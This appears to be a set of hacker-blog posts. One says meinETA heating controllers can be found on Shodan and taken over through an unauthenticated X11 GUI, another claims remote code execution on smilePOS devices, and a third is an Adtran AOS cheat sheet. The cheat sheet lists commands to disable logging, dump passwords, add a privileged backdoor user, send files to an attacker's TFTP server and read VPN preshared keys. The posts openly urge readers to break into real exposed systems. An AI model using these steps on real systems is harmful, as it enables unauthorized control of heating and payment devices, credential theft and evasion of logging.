Heating control system meinETA open to attack with Hax11

meinETA is a heating control system that can be accessed remotely via a password protected portal, however since it uses X11 to expose the GUI to the user, if you can get the IP of the meinETA system this portal can be bypassed and you can manipulate the system directly with Hax11 as seen below.

The ETA site says this about meinETA:

meinETA: the free internet platform
If your heating boiler is connected to the internet, you can see and change all heating settings on your mobile, tablet or PC. So you always have a handle on your heating, wherever you are! When you login to www.meinETA.at, you see the touchscreen as if you were standing right in front of the boiler!

This means that with Hax11 you have full control of the system, without the need for the portal, just needing the systems IP. This would seem to be a big hurdal, but a few minutes on shodan and you can track systems down and be in full control with just a few keystrokes and clicks of the mouse. There doesn't seem to be any sort of authentication on the GUI, not even a pin code so there is nothing stopping you once you locate one. 

More on ETA

Get Hax11 HERE

smilePOS RCE via MS .NET Remoting

While searching the internets for MS .NET Remoting deployments to test my service name brute force script, I stumbled on a gem. 

While testing I noticed a lot of systems with port 9099 was vulnerable to MS .NET Remoting abuse that also had a web port with a smilePOS login page served up. First I ever heard of this, so a quick Google search suggested these were a POS device of sorts, this made sense since all the ones I had found had all the same ports and services running. 

So with a bit more looking around I could confirm RCE on all found smilePOS devices, 2021.1.2103.0 is the only version tested. The service names my tool were able to identify are r1 and r2. If anyone has something to add please let me know, otherwise enjoy.

Useful AOS (Adtran OS) CLI commands and tips for pentesting

Below is some junk for AOS you might find useful in a pentest.

 CLI cmds:

Turns on privileged commands "all below commands assume enable command executed with success":

enable

Disable logging for session

no events all 

From here for easy hacking and if the system is in a DMZ, hanging off the inet or the proper ports are exposed, just enable the http server and continue from there. 

configure terminal

http server 80 

If you cant access the http server the cmds below should help get some info out of the system. 

Lists users and PWs

show running-config | include username #displays usernames and passwords.

Add new user with op privs

configure terminal 

username operator privilege 10 password unencrypted passwd1

List IPs

show ip interfaces

Download a file to target system *after running cmd below you will be promoted for more data and you will need an tftp server running that is accessible by the target"

copy tftp flash "or cflash"

Download file from target to your system 

copy flash tftp

 View vpns name and preshared keys

show crypto ike remote-id

 View vpns configs *below cmd should give all client configs, you add the name at end to view only that names config

show crypto ike congratulation pool

 View vpns policy

show crypto ike policy 

TCL script to set up a VPN in the AOS CLI  with walk through:

https://supportcommunity.adtran.com/jmaxz83287/attachments/jmaxz83287/nv-aos/182/1/Configuring%20Main%20Mode%20and%20Remote%20Client%20VPN%20in%20the%20AOS%20CLI.pdf

AOS CLI reference:

 https://supportcommunity.adtran.com/jmaxz83287/attachments/jmaxz83287/nv-aos/428/7/AOS%20R13.12.0%20Command%20Reference%20Guide.pdf

If you have anything to add please hit me up and let me know, i would love to see this grow!